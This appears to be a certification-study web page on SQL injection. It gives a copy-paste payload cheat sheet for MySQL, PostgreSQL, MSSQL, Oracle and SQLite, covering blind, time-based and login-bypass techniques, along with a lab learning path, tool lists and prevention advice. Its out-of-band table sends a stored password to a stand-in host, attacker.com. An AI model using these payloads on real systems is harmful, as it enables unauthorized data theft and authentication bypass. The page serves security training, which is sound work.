'foo' 'bar' (space-separated) also concatenates, but only outside ANSI mode — CONCAT() is the reliable cross-mode option.Copy-paste SQL injection payloads for MySQL, PostgreSQL, MSSQL, Oracle & SQLite — plus exploitation techniques, tools, prevention, and a readiness quiz built for security certification prep.
Copy-paste syntax for the SQL injection tasks that come up most often — string concatenation, comments, version/user discovery, schema enumeration, conditional errors, time delays, stacked queries, out-of-band exfiltration, and login bypass — across MySQL, PostgreSQL, MSSQL, Oracle, and SQLite. For authorized testing and lab use only.
Combine multiple strings into one — useful for rebuilding filtered keywords or assembling extracted data.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| CONCAT('foo','bar') | 'foo'||'bar' | 'foo'+'bar' | 'foo'||'bar' | 'foo'||'bar' |
'foo' 'bar' (space-separated) also concatenates, but only outside ANSI mode — CONCAT() is the reliable cross-mode option.Pull part of a string from an offset — the core primitive behind character-by-character blind extraction. All examples below return ba.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| SUBSTRING('foobar',4,2) | SUBSTRING('foobar',4,2) | SUBSTRING('foobar',4,2) | SUBSTR('foobar',4,2) | SUBSTR('foobar',4,2) |
Truncate a query so anything after your input is ignored — the backbone of most login-bypass payloads.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| -- (space) or # | -- | -- | -- | -- |
-- requires a trailing space to be treated as a comment; # doesn't. Forgetting the space is a classic reason a "correct" payload silently fails. Inline comments /*like this*/ work across all five engines and double as a way to obfuscate keywords past simple filters.Fingerprint the engine before you commit to a payload style.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| SELECT @@version | SELECT version() | SELECT @@version | SELECT banner FROM v$version | SELECT sqlite_version() |
Useful for privilege-escalation planning and for confirming whether you're running as an admin-equivalent account.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| SELECT current_user() | SELECT current_user | SELECT SYSTEM_USER | SELECT user FROM dual | N/A — file-based, no user concept |
Enumerate the schema once you've confirmed injection — find table names first, then the columns inside each one.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| SELECT table_name FROM information_schema.tables | SELECT table_name FROM information_schema.tables | SELECT table_name FROM information_schema.tables | SELECT table_name FROM all_tables | SELECT name FROM sqlite_master WHERE type='table' |
| SELECT column_name FROM information_schema.columns WHERE table_name='X' | SELECT column_name FROM information_schema.columns WHERE table_name='X' | SELECT column_name FROM information_schema.columns WHERE table_name='X' | SELECT column_name FROM all_tab_columns WHERE table_name='X' | PRAGMA table_info(X) |
Test a boolean condition and force a database error only when it's true — a fast error-based blind technique.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| SELECT IF(cond,(SELECT table_name FROM information_schema.tables),'a') | 1=(SELECT CASE WHEN (cond) THEN 1/(SELECT 0) ELSE NULL END) | SELECT CASE WHEN (cond) THEN 1/0 ELSE NULL END | SELECT CASE WHEN (cond) THEN TO_CHAR(1/0) ELSE NULL END FROM dual | No native error-throw — use boolean-based blind instead |
Run a second query after the first in one request. Results from the second query aren't returned to the page, so this is mainly useful for blind techniques (delays, DNS, conditional errors).
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| Rarely usable — blocked by most drivers/APIs | QUERY-1; QUERY-2 | QUERY-1; QUERY-2 | Not supported | Depends on driver — many disallow multiple statements per call |
Cause an unconditional delay — confirms injection when there's no visible output at all (totally blind).
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| SELECT SLEEP(5) | SELECT pg_sleep(5) | WAITFOR DELAY '0:0:5' | SELECT DBMS_LOCK.SLEEP(5) FROM dual | No native sleep — simulated via an expensive recursive query |
The blind-injection workhorse — delay only when a condition is true, then infer data one bit/character at a time.
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|
| SELECT IF(cond,SLEEP(5),0) | SELECT CASE WHEN (cond) THEN pg_sleep(5) ELSE pg_sleep(0) END | IF (cond) WAITFOR DELAY '0:0:5' | SELECT CASE WHEN (cond) THEN dbms_pipe.receive_message('a',5) ELSE NULL END FROM dual | Not natively supported |
Exfiltrate data through a side channel (usually DNS) when neither in-band output nor timing is available. Requires a listener you control (e.g., Burp Collaborator or your own DNS server).
| MySQL (Windows) | PostgreSQL | MSSQL | Oracle |
|---|---|---|---|
| SELECT LOAD_FILE(CONCAT('\\\\',(SELECT pwd FROM users LIMIT 1),'.attacker.com\\a')) | COPY (SELECT '') TO PROGRAM 'nslookup attacker.com' | EXEC master..xp_dirtree '//attacker.com/a' | SELECT UTL_INADDR.get_host_address('attacker.com') FROM dual |
Classic login-form payloads that manipulate query logic rather than extract data. Try the username field first; # variants are MySQL-only.
For exam answers and reporting — the standard identifiers tied to SQL injection.
| Classification | Value |
|---|---|
| CWE | CWE-89 |
| OWASP Top 10 2021 | A03 — Injection |
| OWASP Top 10 2025 (Release Candidate) | A05 — Injection |
| CVSS 3.1 (typical, unauthenticated) | 9.8 Critical (varies by instance) |
| PCI DSS 4.0 | Requirement 6.2.4 |
SQL injection shows up constantly on CompTIA Security+ and CEH exams. FlashGenius has free practice questions on the SQL Injection domain plus full-length AI-powered exam simulations for 45+ certifications — Security+, CEH, GPEN, and more.
SQL injection (SQLi) happens when untrusted input is concatenated directly into a SQL query instead of being treated strictly as data. The database can't tell the difference between "data" and "command" — so an attacker who controls part of the input can rewrite the logic of the query itself.
A login form builds a query like this:
If $user is taken straight from a form field with no parameterization, an attacker can submit ' OR '1'='1 as the username. The query becomes:
Since '1'='1' is always true, the query returns every row — often logging the attacker in as the first user in the table.
How queries are built and why concatenation is dangerous
Spot injectable parameters and fingerprint the database
Practice safely in authorized labs — never on systems you don't own
Know the defender's controls — most exams test both sides
SQL injection (tracked as CWE-89) was first publicly documented by Rain Forest Puppy in Phrack issue 54, on Christmas Day 1998. Despite being one of the oldest known web vulnerability classes, it remains a current threat because legacy code, dynamic SQL, and careless ORM usage keep reintroducing it.
What this means for your studies: certification bodies keep SQLi in scope precisely because real-world breach data shows it's still exploited. Note that the OWASP Top 10:2025 Release Candidate (announced November 2025) moves Injection from A03 down to A05 — the official list is still 2021's A03 for now, but expect exam material to start referencing the new numbering. Don't treat SQLi as "legacy trivia" — treat it as a live skill.
A concrete, click-as-you-go path from zero to confident — in a legal, authorized lab environment only.
0 of 8 steps completed
Install OWASP Juice Shop or DVWA locally, or create a free account on PortSwigger's Web Security Academy. Only ever test systems you own or are explicitly authorized to test.
Burp Suite Community (or OWASP ZAP) for intercepting and manipulating requests; sqlmap for later automation. Learn proxy basics first — point your browser through Burp before doing anything else.
Use Burp's Repeater to send the same request over and over while you change one parameter at a time. This habit is the foundation of every manual SQLi technique you'll learn next.
In a lab login or search field, submit a lone ' and watch for a database error. An unhandled error is often your first signal that input is reaching the query unsanitized.
Use ORDER BY n until it errors to find the column count, then build a UNION SELECT with that many columns to start pulling data into the page output.
When there's no visible output, compare responses for AND 1=1 vs AND 1=2 (boolean-based), or use a delay function like SLEEP(5) (time-based) and watch the clock.
Don't just run it — read what flags like --dbs, --tables, --dump, --risk, and --level actually do, and compare its requests to what you did manually.
For every technique you learn, write down the matching prevention control (usually parameterized queries). Most certifications test remediation knowledge as heavily as exploitation.
Five technique families cover nearly everything tested on certification exams. Percentages are an approximate guide to how often each appears, not an official weighting.
ORDER BY before attempting a UNION SELECT; this is the step most students skip and then get stuck.SLEEP() or WAITFOR DELAY. Study tip: write a small script that automates the inference loop yourself at least once — it cements the logic far better than only reading sqlmap output.xp_dirtree, Oracle's UTL_HTTP). Rare in real traffic but commonly tested conceptually because it shows up when both in-band and blind methods are blocked. Study tip: know it exists and why it's used — deep payload memorization isn't usually required.' OR '1'='1 or comment-based truncation (admin'--) manipulate query logic to bypass authentication rather than extract data. Study tip: exams often ask you to distinguish "this bypasses a login" from "this exfiltrates data" — the payload can look similar but the goal differs.Five quick questions to find out where you are and what to study next.
Question 1 of 5
A realistic pace for building real competence, not just passing a multiple-choice question.
--risk and --level — exams ask about detection and noise, not just success.The tools you'll actually use in labs and on practicals, plus the controls every defender (and every exam) expects you to know.
| Tool | Type | Best For |
|---|---|---|
| Burp Suite (Community/Pro) | Proxy / manual testing | Intercepting and manipulating requests by hand |
| sqlmap | Automated exploitation | Fast enumeration and data extraction once a vuln is confirmed |
| OWASP ZAP | Proxy / scanner | Free alternative to Burp; good for automated scans |
| DVWA / bWAPP / OWASP Juice Shop | Practice targets | Safe, legal environments to build skill |
| PortSwigger Web Security Academy | Free labs + theory | Structured, guided practice with explanations |
| HackTheBox / TryHackMe | CTF-style practice | Realistic, time-pressured scenarios closer to exam conditions |
Know these cold — remediation questions are easy points if you've actually studied this side.
Five mistakes that cost students points on exams and time in real assessments.
It's tempting to skip manual testing once sqlmap works, but automated tools can miss WAF-evaded or unusual injection points, and most practical exams require you to demonstrate manual proof.
You can't explain or replicate the finding manually, and you fail practical exam sections that ban automated tools.
Always confirm at least one finding manually and understand exactly what request the tool sent and why it worked.
A parameter that shows no visible output can still be fully exploitable through blind techniques — students often mislabel it "safe" too early.
You miss a real vulnerability and answer an exam question incorrectly, or miss a finding in an assessment.
Always test boolean-based and time-based payloads before concluding a parameter isn't injectable.
A payload that's perfectly correct for one DBMS can fail silently on another, making a genuinely vulnerable app look safe.
You conclude "not vulnerable" when the real issue is just wrong syntax for that database.
Fingerprint the DBMS first — via error messages or version functions — before choosing your payload syntax.
Evasion techniques are flashy, but exams test the underlying query logic far more than obfuscation tricks.
You can recite bypass tricks but fail basic conceptual questions about how the underlying query actually executes.
Master plain, unfiltered payloads and query logic first; layer evasion techniques on afterward.
Security+, CEH, and similar certifications ask prevention and remediation questions just as often as exploitation ones.
You lose easy points on remediation questions despite being strong technically on the offensive side.
For every technique you learn, write down the matching prevention control in the same study session.